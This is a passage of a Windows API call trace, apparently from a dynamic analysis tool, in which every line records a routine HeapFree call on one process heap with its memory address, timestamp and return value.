	[0089.336] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0089.346] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0089.346] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0089.346] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0089.362] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0089.375] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0089.390] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0089.390] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0089.390] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0090.018] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0090.018] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0090.019] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0090.019] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0090.020] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0090.020] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0090.027] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0090.028] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0090.028] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0090.034] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0090.035] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0090.035] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0090.035] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0090.036] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0090.038] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0090.044] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0090.044] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0090.044] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0090.048] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0090.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0090.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0090.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0090.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0090.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0090.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0090.058] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0090.059] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0090.062] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0090.063] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0090.063] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0090.065] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0090.065] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0090.077] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0090.079] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0090.079] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0090.079] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0090.799] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0091.118] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0091.121] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0091.121] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0091.122] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0091.122] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0091.123] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0091.123] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0091.127] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0091.127] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0091.127] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0091.127] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0091.129] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0091.134] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0091.134] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0091.136] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0091.137] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0091.138] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0091.139] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0091.140] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0091.145] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0091.145] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0091.145] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0091.147] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.147] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.148] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.149] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.149] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.149] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.149] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.149] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.150] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.150] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.150] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.150] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.150] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.151] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.151] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.151] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.151] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.151] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.152] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.152] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.152] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.152] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.152] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.153] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.153] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.153] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.153] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.153] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.154] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.154] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.154] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.154] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.154] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.155] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.155] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.155] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.155] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.155] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.156] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.156] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.156] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.156] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.156] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.157] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.157] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.157] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.157] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.158] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.158] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.158] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.158] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.158] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.159] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.159] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.159] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.159] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.159] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.160] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.160] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.160] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.160] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.160] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.161] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.161] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.161] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.161] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.161] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.162] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.162] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.162] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.162] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0091.162] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0091.773] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0092.047] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.047] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.047] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0092.052] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.053] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.053] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0092.053] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.054] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0092.054] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.054] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0092.057] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.057] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.061] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.065] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.065] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.065] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.066] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0092.066] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0092.066] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0092.066] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.068] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0092.069] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.069] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0092.069] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.069] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0092.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0092.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0092.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0092.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0092.132] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0092.170] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0092.172] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0092.659] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0092.673] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0092.677] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0092.677] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.679] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.696] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0092.697] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0092.697] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0092.698] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.117] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0093.119] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0093.119] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0093.119] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0093.119] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0093.119] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0093.121] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0093.121] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0093.123] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0093.125] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0093.126] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0093.128] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0093.128] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0093.129] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0093.130] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0093.130] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0093.130] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.133] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.134] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.134] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0093.328] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.329] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.330] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0093.330] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.330] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0093.396] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.396] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.402] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0093.402] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.402] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0093.402] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.429] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.429] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.431] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0093.431] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0093.431] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0093.988] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.993] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.993] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0094.105] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.151] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0094.151] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0094.284] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
